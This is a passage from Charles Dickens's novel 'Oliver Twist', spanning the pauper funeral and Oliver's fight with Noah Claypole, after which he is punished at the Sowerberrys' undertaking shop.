Oliver glanced up the street, and down the +street, and over the way: impressed with the belief that the +unknown, who had addressed him through the key-hole, had walked a +few paces off, to warm himself; for nobody did he see but a big +charity-boy, sitting on a post in front of the house, eating a +slice of bread and butter: which he cut into wedges, the size of +his mouth, with a clasp-knife, and then consumed with great +dexterity. + +'I beg your pardon, sir,' said Oliver at length: seeing that no +other visitor made his appearance; 'did you knock?' + +'I kicked,' replied the charity-boy. + +'Did you want a coffin, sir?' inquired Oliver, innocently. + +At this, the charity-boy looked monstrous fierce; and said that +Oliver would want one before long, if he cut jokes with his +superiors in that way. + +'Yer don't know who I am, I suppose, Work'us?' said the +charity-boy, in continuation: descending from the top of the +post, meanwhile, with edifying gravity. + +'No, sir,' rejoined Oliver. + +'I'm Mister Noah Claypole,' said the charity-boy, 'and you're +under me. Take down the shutters, yer idle young ruffian!' With +this, Mr. Claypole administered a kick to Oliver, and entered the +shop with a dignified air, which did him great credit. It is +difficult for a large-headed, small-eyed youth, of lumbering make +and heavy countenance, to look dignified under any circumstances; +but it is more especially so, when superadded to these personal +attractions are a red nose and yellow smalls. + +Oliver, having taken down the shutters, and broken a pane of +glass in his effort to stagger away beneath the weight of the +first one to a small court at the side of the house in which they +were kept during the day, was graciously assisted by Noah: who +having consoled him with the assurance that 'he'd catch it,' +condescended to help him. Mr. Sowerberry came down soon after. +Shortly afterwards, Mrs. Sowerberry appeared. Oliver having +'caught it,' in fulfilment of Noah's prediction, followed that +young gentleman down the stairs to breakfast. + +'Come near the fire, Noah,' said Charlotte. 'I saved a nice +little bit of bacon for you from master's breakfast. Oliver, +shut that door at Mister Noah's back, and take them bits that +I've put out on the cover of the bread-pan. There's your tea; +take it away to that box, and drink it there, and make haste, for +they'll want you to mind the shop. D'ye hear?' + +'D'ye hear, Work'us?' said Noah Claypole. + +'Lor, Noah!' said Charlotte, 'what a rum creature you are! Why +don't you let the boy alone?' + +'Let him alone!' said Noah. 'Why everybody lets him alone +enough, for the matter of that. Neither his father nor his +mother will ever interfere with him. All his relations let him +have his own way pretty well. Eh, Charlotte? He! he! he!' + +'Oh, you queer soul!' said Charlotte, bursting into a hearty +laugh, in which she was joined by Noah; after which they both +looked scornfully at poor Oliver Twist, as he sat shivering on +the box in the coldest corner of the room, and ate the stale +pieces which had been specially reserved for him. + +Noah was a charity-boy, but not a workhouse orphan. No +chance-child was he, for he could trace his genealogy all the way +back to his parents, who lived hard by; his mother being a +washerwoman, and his father a drunken soldier, discharged with a +wooden leg, and a diurnal pension of twopence-halfpenny and an +unstateable fraction. The shop-boys in the neighbourhood had +long been in the habit of branding Noah in the public streets, +with the ignominious epithets of 'leathers,' 'charity,' and the +like; and Noah had bourne them without reply. But, now that +fortune had cast in his way a nameless orphan, at whom even the +meanest could point the finger of scorn, he retorted on him with +interest. This affords charming food for contemplation. It +shows us what a beautiful thing human nature may be made to be; +and how impartially the same amiable qualities are developed in +the finest lord and the dirtiest charity-boy. + +Oliver had been sojourning at the undertaker's some three weeks +or a month. Mr. and Mrs. Sowerberry--the shop being shut +up--were taking their supper in the little back-parlour, when Mr. +Sowerberry, after several deferential glances at his wife, said, + +'My dear--' He was going to say more; but, Mrs. Sowerberry +looking up, with a peculiarly unpropitious aspect, he stopped +short. + +'Well,' said Mrs. Sowerberry, sharply. + +'Nothing, my dear, nothing,' said Mr. Sowerberry. + +'Ugh, you brute!' said Mrs. Sowerberry. + +'Not at all, my dear,' said Mr. Sowerberry humbly. 'I thought +you didn't want to hear, my dear. I was only going to say--' + +'Oh, don't tell me what you were going to say,' interposed Mrs. +Sowerberry. 'I am nobody; don't consult me, pray. _I_ don't +want to intrude upon your secrets.' As Mrs. Sowerberry said +this, she gave an hysterical laugh, which threatened violent +consequences. + +'But, my dear,' said Sowerberry, 'I want to ask your advice.' + +'No, no, don't ask mine,' replied Mrs. Sowerberry, in an +affecting manner: 'ask somebody else's.' Here, there was +another hysterical laugh, which frightened Mr. Sowerberry very +much. This is a very common and much-approved matrimonial course +of treatment, which is often very effective. It at once reduced +Mr. Sowerberry to begging, as a special favour, to be allowed to +say what Mrs. Sowerberry was most curious to hear. After a short +duration, the permission was most graciously conceded. + +'It's only about young Twist, my dear,' said Mr. Sowerberry. 'A +very good-looking boy, that, my dear.' + +'He need be, for he eats enough,' observed the lady. + +'There's an expression of melancholy in his face, my dear,' +resumed Mr. Sowerberry, 'which is very interesting. He would +make a delightful mute, my love.' + +Mrs. Sowerberry looked up with an expression of considerable +wonderment. Mr. Sowerberry remarked it and, without allowing +time for any observation on the good lady's part, proceeded. + +'I don't mean a regular mute to attend grown-up people, my dear, +but only for children's practice. It would be very new to have a +mute in proportion, my dear. You may depend upon it, it would +have a superb effect.' + +Mrs. Sowerberry, who had a good deal of taste in the undertaking +way, was much struck by the novelty of this idea; but, as it +would have been compromising her dignity to have said so, under +existing circumstances, she merely inquired, with much sharpness, +why such an obvious suggestion had not presented itself to her +husband's mind before? Mr. Sowerberry rightly construed this, as +an acquiescence in his proposition; it was speedily determined, +therefore, that Oliver should be at once initiated into the +mysteries of the trade; and, with this view, that he should +accompany his master on the very next occasion of his services +being required. + +The occasion was not long in coming. Half an hour after +breakfast next morning, Mr. Bumble entered the shop; and +supporting his cane against the counter, drew forth his large +leathern pocket-book: from which he selected a small scrap of +paper, which he handed over to Sowerberry. + +'Aha!' said the undertaker, glancing over it with a lively +countenance; 'an order for a coffin, eh?' + +'For a coffin first, and a porochial funeral afterwards,' replied +Mr. Bumble, fastening the strap of the leathern pocket-book: +which, like himself, was very corpulent. + +'Bayton,' said the undertaker, looking from the scrap of paper to +Mr. Bumble. 'I never heard the name before.' + +Bumble shook his head, as he replied, 'Obstinate people, Mr. +Sowerberry; very obstinate. Proud, too, I'm afraid, sir.' + +'Proud, eh?' exclaimed Mr. Sowerberry with a sneer. 'Come, +that's too much.' + +'Oh, it's sickening,' replied the beadle. 'Antimonial, Mr. +Sowerberry!' + +'So it is,' asquiesced the undertaker. + +'We only heard of the family the night before last,' said the +beadle; 'and we shouldn't have known anything about them, then, +only a woman who lodges in the same house made an application to +the porochial committee for them to send the porochial surgeon to +see a woman as was very bad. He had gone out to dinner; but his +'prentice (which is a very clever lad) sent 'em some medicine in +a blacking-bottle, offhand.' + +'Ah, there's promptness,' said the undertaker. + +'Promptness, indeed!' replied the beadle. 'But what's the +consequence; what's the ungrateful behaviour of these rebels, +sir? Why, the husband sends back word that the medicine won't +suit his wife's complaint, and so she shan't take it--says she +shan't take it, sir! Good, strong, wholesome medicine, as was +given with great success to two Irish labourers and a +coal-heaver, only a week before--sent 'em for nothing, with a +blackin'-bottle in,--and he sends back word that she shan't take +it, sir!' + +As the atrocity presented itself to Mr. Bumble's mind in full +force, he struck the counter sharply with his cane, and became +flushed with indignation. + +'Well,' said the undertaker, 'I ne--ver--did--' + +'Never did, sir!' ejaculated the beadle. 'No, nor nobody never +did; but now she's dead, we've got to bury her; and that's the +direction; and the sooner it's done, the better.' + +Thus saying, Mr. Bumble put on his cocked hat wrong side first, +in a fever of parochial excitement; and flounced out of the shop. + +'Why, he was so angry, Oliver, that he forgot even to ask after +you!' said Mr. Sowerberry, looking after the beadle as he strode +down the street. + +'Yes, sir,' replied Oliver, who had carefully kept himself out of +sight, during the interview; and who was shaking from head to +foot at the mere recollection of the sound of Mr. Bumble's voice. + +He needn't haven taken the trouble to shrink from Mr. Bumble's +glance, however; for that functionary, on whom the prediction of +the gentleman in the white waistcoat had made a very strong +impression, thought that now the undertaker had got Oliver upon +trial the subject was better avoided, until such time as he +should be firmly bound for seven years, and all danger of his +being returned upon the hands of the parish should be thus +effectually and legally overcome. + +'Well,' said Mr. Sowerberry, taking up his hat, 'the sooner this +job is done, the better. Noah, look after the shop. Oliver, put +on your cap, and come with me.' Oliver obeyed, and followed his +master on his professional mission. + +They walked on, for some time, through the most crowded and +densely inhabited part of the town; and then, striking down a +narrow street more dirty and miserable than any they had yet +passed through, paused to look for the house which was the object +of their search. The houses on either side were high and large, +but very old, and tenanted by people of the poorest class: as +their neglected appearance would have sufficiently denoted, +without the concurrent testimony afforded by the squalid looks of +the few men and women who, with folded arms and bodies half +doubled, occasionally skulked along. A great many of the +tenements had shop-fronts; but these were fast closed, and +mouldering away; only the upper rooms being inhabited. Some +houses which had become insecure from age and decay, were +prevented from falling into the street, by huge beams of wood +reared against the walls, and firmly planted in the road; but +even these crazy dens seemed to have been selected as the nightly +haunts of some houseless wretches, for many of the rough boards +which supplied the place of door and window, were wrenched from +their positions, to afford an aperture wide enough for the +passage of a human body. The kennel was stagnant and filthy. +The very rats, which here and there lay putrefying in its +rottenness, were hideous with famine. + +There was neither knocker nor bell-handle at the open door where +Oliver and his master stopped; so, groping his way cautiously +through the dark passage, and bidding Oliver keep close to him +and not be afraid the undertaker mounted to the top of the first +flight of stairs. Stumbling against a door on the landing, he +rapped at it with his knuckles. + +It was opened by a young girl of thirteen or fourteen. The +undertaker at once saw enough of what the room contained, to know +it was the apartment to which he had been directed. He stepped +in; Oliver followed him. + +There was no fire in the room; but a man was crouching, +mechanically, over the empty stove. An old woman, too, had drawn +a low stool to the cold hearth, and was sitting beside him. +There were some ragged children in another corner; and in a small +recess, opposite the door, there lay upon the ground, something +covered with an old blanket. Oliver shuddered as he cast his +eyes toward the place, and crept involuntarily closer to his +master; for though it was covered up, the boy felt that it was a +corpse. + +The man's face was thin and very pale; his hair and beard were +grizzly; his eyes were bloodshot. The old woman's face was +wrinkled; her two remaining teeth protruded over her under lip; +and her eyes were bright and piercing. Oliver was afraid to look +at either her or the man. They seemed so like the rats he had +seen outside. + +'Nobody shall go near her,' said the man, starting fiercely up, +as the undertaker approached the recess. 'Keep back! Damn you, +keep back, if you've a life to lose!' + +'Nonsense, my good man,' said the undertaker, who was pretty well +used to misery in all its shapes. 'Nonsense!' + +'I tell you,' said the man: clenching his hands, and stamping +furiously on the floor,--'I tell you I won't have her put into +the ground. She couldn't rest there. The worms would worry +her--not eat her--she is so worn away.' + +The undertaker offered no reply to this raving; but producing a +tape from his pocket, knelt down for a moment by the side of the +body. + +'Ah!' said the man: bursting into tears, and sinking on his +knees at the feet of the dead woman; 'kneel down, kneel down +--kneel round her, every one of you, and mark my words! I say +she was starved to death. I never knew how bad she was, till the +fever came upon her; and then her bones were starting through the +skin. There was neither fire nor candle; she died in the +dark--in the dark! She couldn't even see her children's faces, +though we heard her gasping out their names. I begged for her in +the streets: and they sent me to prison. When I came back, she +was dying; and all the blood in my heart has dried up, for they +starved her to death. I swear it before the God that saw it! +They starved her!' He twined his hands in his hair; and, with a +loud scream, rolled grovelling upon the floor: his eyes fixed, +and the foam covering his lips. + +The terrified children cried bitterly; but the old woman, who had +hitherto remained as quiet as if she had been wholly deaf to all +that passed, menaced them into silence. Having unloosened the +cravat of the man who still remained extended on the ground, she +tottered towards the undertaker. + +'She was my daughter,' said the old woman, nodding her head in +the direction of the corpse; and speaking with an idiotic leer, +more ghastly than even the presence of death in such a place. +'Lord, Lord! Well, it _is_ strange that I who gave birth to her, +and was a woman then, should be alive and merry now, and she +lying there: so cold and stiff! Lord, Lord!--to think of it; +it's as good as a play--as good as a play!' + +As the wretched creature mumbled and chuckled in her hideous +merriment, the undertaker turned to go away. + +'Stop, stop!' said the old woman in a loud whisper. 'Will she be +buried to-morrow, or next day, or to-night? I laid her out; and +I must walk, you know. Send me a large cloak: a good warm one: +for it is bitter cold. We should have cake and wine, too, before +we go! Never mind; send some bread--only a loaf of bread and a +cup of water. Shall we have some bread, dear?' she said eagerly: +catching at the undertaker's coat, as he once more moved towards +the door. + +'Yes, yes,' said the undertaker,'of course. Anything you like!' +He disengaged himself from the old woman's grasp; and, drawing +Oliver after him, hurried away. + +The next day, (the family having been meanwhile relieved with a +half-quartern loaf and a piece of cheese, left with them by Mr. +Bumble himself,) Oliver and his master returned to the miserable +abode; where Mr. Bumble had already arrived, accompanied by four +men from the workhouse, who were to act as bearers. An old black +cloak had been thrown over the rags of the old woman and the man; +and the bare coffin having been screwed down, was hoisted on the +shoulders of the bearers, and carried into the street. + +'Now, you must put your best leg foremost, old lady!' whispered +Sowerberry in the old woman's ear; 'we are rather late; and it +won't do, to keep the clergyman waiting. Move on, my men,--as +quick as you like!' + +Thus directed, the bearers trotted on under their light burden; +and the two mourners kept as near them, as they could. Mr. +Bumble and Sowerberry walked at a good smart pace in front; and +Oliver, whose legs were not so long as his master's, ran by the +side. + +There was not so great a necessity for hurrying as Mr. Sowerberry +had anticipated, however; for when they reached the obscure +corner of the churchyard in which the nettles grew, and where the +parish graves were made, the clergyman had not arrived; and the +clerk, who was sitting by the vestry-room fire, seemed to think +it by no means improbable that it might be an hour or so, before +he came. So, they put the bier on the brink of the grave; and +the two mourners waited patiently in the damp clay, with a cold +rain drizzling down, while the ragged boys whom the spectacle had +attracted into the churchyard played a noisy game at +hide-and-seek among the tombstones, or varied their amusements by +jumping backwards and forwards over the coffin. Mr. Sowerberry +and Bumble, being personal friends of the clerk, sat by the fire +with him, and read the paper. + +At length, after a lapse of something more than an hour, Mr. +Bumble, and Sowerberry, and the clerk, were seen running towards +the grave. Immediately afterwards, the clergyman appeared: +putting on his surplice as he came along. Mr. Bumble then +thrashed a boy or two, to keep up appearances; and the reverend +gentleman, having read as much of the burial service as could be +compressed into four minutes, gave his surplice to the clerk, and +walked away again. + +'Now, Bill!' said Sowerberry to the grave-digger. 'Fill up!' + +It was no very difficult task, for the grave was so full, that +the uppermost coffin was within a few feet of the surface. The +grave-digger shovelled in the earth; stamped it loosely down with +his feet: shouldered his spade; and walked off, followed by the +boys, who murmured very loud complaints at the fun being over so +soon. + +'Come, my good fellow!' said Bumble, tapping the man on the back. +'They want to shut up the yard.' + +The man who had never once moved, since he had taken his station +by the grave side, started, raised his head, stared at the person +who had addressed him, walked forward for a few paces; and fell +down in a swoon. The crazy old woman was too much occupied in +bewailing the loss of her cloak (which the undertaker had taken +off), to pay him any attention; so they threw a can of cold water +over him; and when he came to, saw him safely out of the +churchyard, locked the gate, and departed on their different +ways. + +'Well, Oliver,' said Sowerberry, as they walked home, 'how do you +like it?' + +'Pretty well, thank you, sir' replied Oliver, with considerable +hesitation. 'Not very much, sir.' + +'Ah, you'll get used to it in time, Oliver,' said Sowerberry. +'Nothing when you _are_ used to it, my boy.' + +Oliver wondered, in his own mind, whether it had taken a very +long time to get Mr. Sowerberry used to it. But he thought it +better not to ask the question; and walked back to the shop: +thinking over all he had seen and heard. + + + + +CHAPTER VI + +OLIVER, BEING GOADED BY THE TAUNTS OF NOAH, ROUSES INTO ACTION, +AND RATHER ASTONISHES HIM + +The month's trial over, Oliver was formally apprenticed. It was +a nice sickly season just at this time. In commercial phrase, +coffins were looking up; and, in the course of a few weeks, +Oliver acquired a great deal of experience. The success of Mr. +Sowerberry's ingenious speculation, exceeded even his most +sanguine hopes. The oldest inhabitants recollected no period at +which measles had been so prevalent, or so fatal to infant +existence; and many were the mournful processions which little +Oliver headed, in a hat-band reaching down to his knees, to the +indescribable admiration and emotion of all the mothers in the +town. As Oliver accompanied his master in most of his adult +expeditions too, in order that he might acquire that equanimity +of demeanour and full command of nerve which was essential to a +finished undertaker, he had many opportunities of observing the +beautiful resignation and fortitude with which some strong-minded +people bear their trials and losses. + +For instance; when Sowerberry had an order for the burial of some +rich old lady or gentleman, who was surrounded by a great number +of nephews and nieces, who had been perfectly inconsolable during +the previous illness, and whose grief had been wholly +irrepressible even on the most public occasions, they would be as +happy among themselves as need be--quite cheerful and +contented--conversing together with as much freedom and gaiety, +as if nothing whatever had happened to disturb them. Husbands, +too, bore the loss of their wives with the most heroic calmness. +Wives, again, put on weeds for their husbands, as if, so far from +grieving in the garb of sorrow, they had made up their minds to +render it as becoming and attractive as possible. It was +observable, too, that ladies and gentlemen who were in passions +of anguish during the ceremony of interment, recovered almost as +soon as they reached home, and became quite composed before the +tea-drinking was over. All this was very pleasant and improving +to see; and Oliver beheld it with great admiration. + +That Oliver Twist was moved to resignation by the example of +these good people, I cannot, although I am his biographer, +undertake to affirm with any degree of confidence; but I can most +distinctly say, that for many months he continued meekly to +submit to the domination and ill-treatment of Noah Claypole: who +used him far worse than before, now that his jealousy was roused +by seeing the new boy promoted to the black stick and hatband, +while he, the old one, remained stationary in the muffin-cap and +leathers. Charlotte treated him ill, because Noah did; and Mrs. +Sowerberry was his decided enemy, because Mr. Sowerberry was +disposed to be his friend; so, between these three on one side, +and a glut of funerals on the other, Oliver was not altogether as +comfortable as the hungry pig was, when he was shut up, by +mistake, in the grain department of a brewery. + +And now, I come to a very important passage in Oliver's history; +for I have to record an act, slight and unimportant perhaps in +appearance, but which indirectly produced a material change in +all his future prospects and proceedings. + +One day, Oliver and Noah had descended into the kitchen at the +usual dinner-hour, to banquet upon a small joint of mutton--a +pound and a half of the worst end of the neck--when Charlotte +being called out of the way, there ensued a brief interval of +time, which Noah Claypole, being hungry and vicious, considered +he could not possibly devote to a worthier purpose than +aggravating and tantalising young Oliver Twist. + +Intent upon this innocent amusement, Noah put his feet on the +table-cloth; and pulled Oliver's hair; and twitched his ears; and +expressed his opinion that he was a 'sneak'; and furthermore +announced his intention of coming to see him hanged, whenever +that desirable event should take place; and entered upon various +topics of petty annoyance, like a malicious and ill-conditioned +charity-boy as he was. But, making Oliver cry, Noah attempted to +be more facetious still; and in his attempt, did what many +sometimes do to this day, when they want to be funny. He got +rather personal. + +'Work'us,' said Noah, 'how's your mother?' + +'She's dead,' replied Oliver; 'don't you say anything about her +to me!' + +Oliver's colour rose as he said this; he breathed quickly; and +there was a curious working of the mouth and nostrils, which Mr. +Claypole thought must be the immediate precursor of a violent fit +of crying. Under this impression he returned to the charge. + +'What did she die of, Work'us?' said Noah. + +'Of a broken heart, some of our old nurses told me,' replied +Oliver: more as if he were talking to himself, than answering +Noah. 'I think I know what it must be to die of that!' + +'Tol de rol lol lol, right fol lairy, Work'us,' said Noah, as a +tear rolled down Oliver's cheek. 'What's set you a snivelling +now?' + +'Not _you_,' replied Oliver, sharply. 'There; that's enough. Don't +say anything more to me about her; you'd better not!' + +'Better not!' exclaimed Noah. 'Well! Better not! Work'us, +don't be impudent. _Your_ mother, too! She was a nice 'un she +was. Oh, Lor!' And here, Noah nodded his head expressively; and +curled up as much of his small red nose as muscular action could +collect together, for the occasion. + +'Yer know, Work'us,' continued Noah, emboldened by Oliver's +silence, and speaking in a jeering tone of affected pity: of all +tones the most annoying: 'Yer know, Work'us, it can't be helped +now; and of course yer couldn't help it then; and I am very sorry +for it; and I'm sure we all are, and pity yer very much. But yer +must know, Work'us, yer mother was a regular right-down bad 'un.' + +'What did you say?' inquired Oliver, looking up very quickly. + +'A regular right-down bad 'un, Work'us,' replied Noah, coolly. +'And it's a great deal better, Work'us, that she died when she +did, or else she'd have been hard labouring in Bridewell, or +transported, or hung; which is more likely than either, isn't +it?' + +Crimson with fury, Oliver started up; overthrew the chair and +table; seized Noah by the throat; shook him, in the violence of +his rage, till his teeth chattered in his head; and collecting +his whole force into one heavy blow, felled him to the ground. + +A minute ago, the boy had looked the quiet child, mild, dejected +creature that harsh treatment had made him. But his spirit was +roused at last; the cruel insult to his dead mother had set his +blood on fire. His breast heaved; his attitude was erect; his +eye bright and vivid; his whole person changed, as he stood +glaring over the cowardly tormentor who now lay crouching at his +feet; and defied him with an energy he had never known before. + +'He'll murder me!' blubbered Noah. 'Charlotte! missis! Here's +the new boy a murdering of me! Help! help! Oliver's gone mad! +Char--lotte!' + +Noah's shouts were responded to, by a loud scream from Charlotte, +and a louder from Mrs. Sowerberry; the former of whom rushed into +the kitchen by a side-door, while the latter paused on the +staircase till she was quite certain that it was consistent with +the preservation of human life, to come further down. + +'Oh, you little wretch!' screamed Charlotte: seizing Oliver with +her utmost force, which was about equal to that of a moderately +strong man in particularly good training. 'Oh, you little +un-grate-ful, mur-de-rous, hor-rid villain!' And between every +syllable, Charlotte gave Oliver a blow with all her might: +accompanying it with a scream, for the benefit of society. + +Charlotte's fist was by no means a light one; but, lest it should +not be effectual in calming Oliver's wrath, Mrs. Sowerberry +plunged into the kitchen, and assisted to hold him with one hand, +while she scratched his face with the other. In this favourable +position of affairs, Noah rose from the ground, and pommelled him +behind. + +This was rather too violent exercise to last long. When they +were all wearied out, and could tear and beat no longer, they +dragged Oliver, struggling and shouting, but nothing daunted, +into the dust-cellar, and there locked him up. This being done, +Mrs. Sowerberry sunk into a chair, and burst into tears. + +'Bless her, she's going off!' said Charlotte. 'A glass of water, +Noah, dear. Make haste!' + +'Oh! Charlotte,' said Mrs. Sowerberry: speaking as well as she +could, through a deficiency of breath, and a sufficiency of cold +water, which Noah had poured over her head and shoulders. 'Oh! +Charlotte, what a mercy we have not all been murdered in our +beds!' + +'Ah! mercy indeed, ma'am,' was the reply. I only hope this'll +teach master not to have any more of these dreadful creatures, +that are born to be murderers and robbers from their very cradle. +Poor Noah! He was all but killed, ma'am, when I come in.' + +'Poor fellow!' said Mrs. Sowerberry: looking piteously on the +charity-boy. + +Noah, whose top waistcoat-button might have been somewhere on a +level with the crown of Oliver's head, rubbed his eyes with the +inside of his wrists while this commiseration was bestowed upon +him, and performed some affecting tears and sniffs. + +'What's to be done!' exclaimed Mrs. Sowerberry. 'Your master's +not at home; there's not a man in the house, and he'll kick that +door down in ten minutes.' Oliver's vigorous plunges against the +bit of timber in question, rendered this occurance highly +probable. + +'Dear, dear! I don't know, ma'am,' said Charlotte, 'unless we +send for the police-officers.' + +'Or the millingtary,' suggested Mr. Claypole. + +'No, no,' said Mrs. Sowerberry: bethinking herself of Oliver's +old friend. 'Run to Mr. Bumble, Noah, and tell him to come here +directly, and not to lose a minute; never mind your cap! Make +haste! You can hold a knife to that black eye, as you run along. +It'll keep the swelling down.' + +Noah stopped to make no reply, but started off at his fullest +speed; and very much it astonished the people who were out +walking, to see a charity-boy tearing through the streets +pell-mell, with no cap on his head, and a clasp-knife at his eye. + + + + +CHAPTER VII + +OLIVER CONTINUES REFRACTORY + +Noah Claypole ran along the streets at his swiftest pace, and +paused not once for breath, until he reached the workhouse-gate. +Having rested here, for a minute or so, to collect a good burst +of sobs and an imposing show of tears and terror, he knocked +loudly at the wicket; and presented such a rueful face to the +aged pauper who opened it, that even he, who saw nothing but +rueful faces about him at the best of times, started back in +astonishment. + +'Why, what's the matter with the boy!' said the old pauper. + +'Mr. Bumble! Mr. Bumble!' cried Noah, with well-affected dismay: +and in tones so loud and agitated, that they not only caught the +ear of Mr. Bumble himself, who happened to be hard by, but +alarmed him so much that he rushed into the yard without his +cocked hat,--which is a very curious and remarkable +circumstance: as showing that even a beadle, acted upon a sudden +and powerful impulse, may be afflicted with a momentary +visitation of loss of self-possession, and forgetfulness of +personal dignity. + +'Oh, Mr. Bumble, sir!' said Noah: 'Oliver, sir,--Oliver has--' + +'What? What?' interposed Mr. Bumble: with a gleam of pleasure +in his metallic eyes. 'Not run away; he hasn't run away, has he, +Noah?' + +'No, sir, no. Not run away, sir, but he's turned wicious,' +replied Noah. 'He tried to murder me, sir; and then he tried to +murder Charlotte; and then missis. Oh! what dreadful pain it is! + +Such agony, please, sir!' And here, Noah writhed and twisted his +body into an extensive variety of eel-like positions; thereby +giving Mr. Bumble to understand that, from the violent and +sanguinary onset of Oliver Twist, he had sustained severe +internal injury and damage, from which he was at that moment +suffering the acutest torture. + +When Noah saw that the intelligence he communicated perfectly +paralysed Mr. Bumble, he imparted additional effect thereunto, by +bewailing his dreadful wounds ten times louder than before; and +when he observed a gentleman in a white waistcoat crossing the +yard, he was more tragic in his lamentations than ever: rightly +conceiving it highly expedient to attract the notice, and rouse +the indignation, of the gentleman aforesaid. + +The gentleman's notice was very soon attracted; for he had not +walked three paces, when he turned angrily round, and inquired +what that young cur was howling for, and why Mr. Bumble did not +favour him with something which would render the series of +vocular exclamations so designated, an involuntary process? + +'It's a poor boy from the free-school, sir,' replied Mr. Bumble, +'who has been nearly murdered--all but murdered, sir,--by young +Twist.' + +'By Jove!' exclaimed the gentleman in the white waistcoat, +stopping short. 'I knew it! I felt a strange presentiment from +the very first, that that audacious young savage would come to be +hung!' + +'He has likewise attempted, sir, to murder the female servant,' +said Mr. Bumble, with a face of ashy paleness. + +'And his missis,' interposed Mr. Claypole. + +'And his master, too, I think you said, Noah?' added Mr. Bumble. + +'No! he's out, or he would have murdered him,' replied Noah. 'He +said he wanted to.' + +'Ah! Said he wanted to, did he, my boy?' inquired the gentleman +in the white waistcoat. + +'Yes, sir,' replied Noah. 'And please, sir, missis wants to know +whether Mr. Bumble can spare time to step up there, directly, and +flog him--'cause master's out.' + +'Certainly, my boy; certainly,' said the gentleman in the white +waistcoat: smiling benignly, and patting Noah's head, which was +about three inches higher than his own. 'You're a good boy--a +very good boy. Here's a penny for you. Bumble, just step up to +Sowerberry's with your cane, and see what's best to be done. +Don't spare him, Bumble.' + +'No, I will not, sir,' replied the beadle. And the cocked hat +and cane having been, by this time, adjusted to their owner's +satisfaction, Mr. Bumble and Noah Claypole betook themselves with +all speed to the undertaker's shop. + +Here the position of affairs had not at all improved. Sowerberry +had not yet returned, and Oliver continued to kick, with +undiminished vigour, at the cellar-door. The accounts of his +ferocity as related by Mrs. Sowerberry and Charlotte, were of so +startling a nature, that Mr. Bumble judged it prudent to parley, +before opening the door. With this view he gave a kick at the +outside, by way of prelude; and, then, applying his mouth to the +keyhole, said, in a deep and impressive tone: + +'Oliver!' + +'Come; you let me out!' replied Oliver, from the inside. + +'Do you know this here voice, Oliver?' said Mr. Bumble. + +'Yes,' replied Oliver. + +'Ain't you afraid of it, sir? Ain't you a-trembling while I +speak, sir?' said Mr. Bumble. + +'No!' replied Oliver, boldly. + +An answer so different from the one he had expected to elicit, +and was in the habit of receiving, staggered Mr. Bumble not a +little. He stepped back from the keyhole; drew himself up to his +full height; and looked from one to another of the three +bystanders, in mute astonishment. + +'Oh, you know, Mr. Bumble, he must be mad,' said Mrs. Sowerberry. + +'No boy in half his senses could venture to speak so to you.' + +'It's not Madness, ma'am,' replied Mr. Bumble, after a few +moments of deep meditation. 'It's Meat.' + +'What?' exclaimed Mrs. Sowerberry. + +'Meat, ma'am, meat,' replied Bumble, with stern emphasis. +'You've over-fed him, ma'am. You've raised a artificial soul and +spirit in him, ma'am unbecoming a person of his condition: as the +board, Mrs. Sowerberry, who are practical philosophers, will tell +you. What have paupers to do with soul or spirit? It's quite +enough that we let 'em have live bodies. If you had kept the boy +on gruel, ma'am, this would never have happened.' + +'Dear, dear!' ejaculated Mrs. Sowerberry, piously raising her +eyes to the kitchen ceiling: 'this comes of being liberal!' + +The liberality of Mrs. Sowerberry to Oliver, had consisted of a +profuse bestowal upon him of all the dirty odds and ends which +nobody else would eat; so there was a great deal of meekness and +self-devotion in her voluntarily remaining under Mr. Bumble's +heavy accusation. Of which, to do her justice, she was wholly +innocent, in thought, word, or deed. + +'Ah!' said Mr. Bumble, when the lady brought her eyes down to +earth again; 'the only thing that can be done now, that I know +of, is to leave him in the cellar for a day or so, till he's a +little starved down; and then to take him out, and keep him on +gruel all through the apprenticeship. He comes of a bad family. +Excitable natures, Mrs. Sowerberry! Both the nurse and doctor +said, that that mother of his made her way here, against +difficulties and pain that would have killed any well-disposed +woman, weeks before.' + +At this point of Mr. Bumble's discourse, Oliver, just hearing +enough to know that some allusion was being made to his mother, +recommenced kicking, with a violence that rendered every other +sound inaudible. Sowerberry returned at this juncture. Oliver's +offence having been explained to him, with such exaggerations as +the ladies thought best calculated to rouse his ire, he unlocked +the cellar-door in a twinkling, and dragged his rebellious +apprentice out, by the collar. + +Oliver's clothes had been torn in the beating he had received; +his face was bruised and scratched; and his hair scattered over +his forehead. The angry flush had not disappeared, however; and +when he was pulled out of his prison, he scowled boldly on Noah, +and looked quite undismayed. + +'Now, you are a nice young fellow, ain't you?' said Sowerberry; +giving Oliver a shake, and a box on the ear. + +'He called my mother names,' replied Oliver. + +'Well, and what if he did, you little ungrateful wretch?' said +Mrs. Sowerberry. 'She deserved what he said, and worse.' + +'She didn't' said Oliver. + +'She did,' said Mrs. Sowerberry. + +'It's a lie!' said Oliver. + +Mrs. Sowerberry burst into a flood of tears. + +This flood of tears left Mr. Sowerberry no alternative. If he +had hesitated for one instant to punish Oliver most severely, it +must be quite clear to every experienced reader that he would +have been, according to all precedents in disputes of matrimony +established, a brute, an unnatural husband, an insulting +creature, a base imitation of a man, and various other agreeable +characters too numerous for recital within the limits of this +chapter. To do him justice, he was, as far as his power went--it +was not very extensive--kindly disposed towards the boy; perhaps, +because it was his interest to be so; perhaps, because his wife +disliked him. The flood of tears, however, left him no resource; +so he at once gave him a drubbing, which satisfied even Mrs. +Sowerberry herself, and rendered Mr. Bumble's subsequent +application of the parochial cane, rather unnecessary. For the +rest of the day, he was shut up in the back kitchen, in company +with a pump and a slice of bread; and at night, Mrs. Sowerberry, +after making various remarks outside the door, by no means +complimentary to the memory of his mother, looked into the room, +and, amidst the jeers and pointings of Noah and Charlotte, +ordered him upstairs to his dismal bed. + +It was not until he was left alone in the silence and stillness +of the gloomy workshop of the undertaker, that Oliver gave way to +the feelings which the day's treatment may be supposed likely to +have awakened in a mere child. He had listened to their taunts +with a look of contempt; he had borne the lash without a cry: +for he felt that pride swelling in his heart which would have +kept down a shriek to the last, though they had roasted him +alive. But now, when there were none to see or hear him, he fell +upon his knees on the floor; and, hiding his face in his hands, +wept such tears as, God send for the credit of our nature, few so +young may ever have cause to pour out before him! + +For a long time, Oliver remained motionless in this attitude. The +candle was burning low in the socket when he rose to his feet. +Having gazed cautiously round him, and listened intently, he +gently undid the fastenings of the door, and looked abroad. + +It was a cold, dark night. The stars seemed, to the boy's eyes, +farther from the earth than he had ever seen them before; there +was no wind; and the sombre shadows thrown by the trees upon the +ground, looked sepulchral and death-like, from being so still. +He softly reclosed the door. Having 